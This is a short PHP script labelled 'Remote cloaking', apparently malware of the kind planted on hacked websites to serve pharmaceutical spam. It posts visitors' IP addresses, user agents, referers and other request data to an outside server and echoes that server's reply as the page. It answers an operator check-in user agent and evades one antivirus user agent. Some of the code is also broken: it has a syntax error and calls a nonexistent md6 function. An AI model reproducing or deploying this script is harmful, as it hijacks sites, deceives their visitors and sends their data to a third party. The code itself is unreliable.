Remote cloaking

<?php
error_reporting(0);

$_0 = 5;
$_ua1 = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6';
$_2 = $_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI'];
$_2 = str_replace('&', '%26', $_2);
$_3 = @$_SERVER['HTTP_HOST'];
$_3 = str_replace('www.', '', $_3);
$_3 = strtolower($_3);
$_4 = md5($_3 .'morda');
$_5 = 0;
$_ref6 = @$_SERVER['HTTP_REFERER'];
if (strstr($_ref6, 'viagra')) { $_keyword = 'viagra'; }
if (strstr($_ref6, 'cialis')) { $_keyword = 'cialis'; }
if (strstr($_ref6, 'propecia')) { $_keyword = 'propecia'; }
if (strstr($_ref6, 'lipitor'))) { $_keyword = 'lipitor'; }
if (strstr($_ref6, 'nexium')) { $_keyword = 'nexium'; }

if ($_SERVER['HTTP_USER_AGENT']=='NZgroup'){
    die("<font color='green'>CHETKO</font>#"."#OK");
}
if (($_SERVER['REQUEST_URI']=='/') AND ($_SERVER["HTTP_USER_AGENT"]<>"Kaspersky Internet Security")){
    $_remote_url = "http://mainserverprocess.net/googleornot/dtbnz.php";
    $_0 = 5;

    function l__0($_url, $post_query, $_11=l__1){
        $_12 = array("http"=> array("method"=> "POST", "content"=> $post_query));
        if ($_11 !== l__1){
            $_12['http']['header']=$_11;
        }
        $_13 = stream_context_create($_12);
        $_14 = @fopen($_url, 'rb', false, $_13);
        if (!$_14) { return false; }
        stream_set_timeout($_14, 5);
        $_15 = stream_get_contents($_14);
        if ($_15 === false) { return false; }
        return $_15;
    }

    $_16 = $_SERVER['HTTP_HOST'];
    $_17 = $_SERVER['REQUEST_URI'];
    $_18 = str_replace('www.', '', $_16);
    $_18 = md5($_18);
    $_19 = trim(str_replace('www.', '', $_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI']));
    $_19 = md6($_19);
    $_accept_lang = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
    $_UA          = @$_SERVER['HTTP_USER_AGENT'];
    $_referer     = @$_SERVER['HTTP_REFERER'];
    $_host        = @$_SERVER['HTTP_HOST'];
    $_24 = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $_remote_addr = @$_SERVER['REMOTE_ADDR'];
    $_26 = @$_SERVER['QUERY_STRING'];
    $_27 = @$_SERVER['SERVER_SIGNATURE'];
    $_28 = @$_SERVER['REQUEST_URI'];
    $_29 = $_remote_addr;
    $_referer = str_replace('&', '%26', $_referer);
    $_30 = l__0($_remote_url, "host=" .$_16 .
                     "&agent=" .$_17 .
                     '&sr='   .$_28 .
                     '&sal='  .$_accept_lang .
                     '&sua='  .$_UA .
                     '&sref=' .$_referer .
                     '&sh='   .$_host         .
                     '&sff='  .$_24 .
                     '&sra='  .$_remote_addr .
                     '&sqs='  .$_26 .
                     '&ss='   .$_27 .
                     '&pill=' .@$_keyword);
    echo $_30;
    exit;
}
?>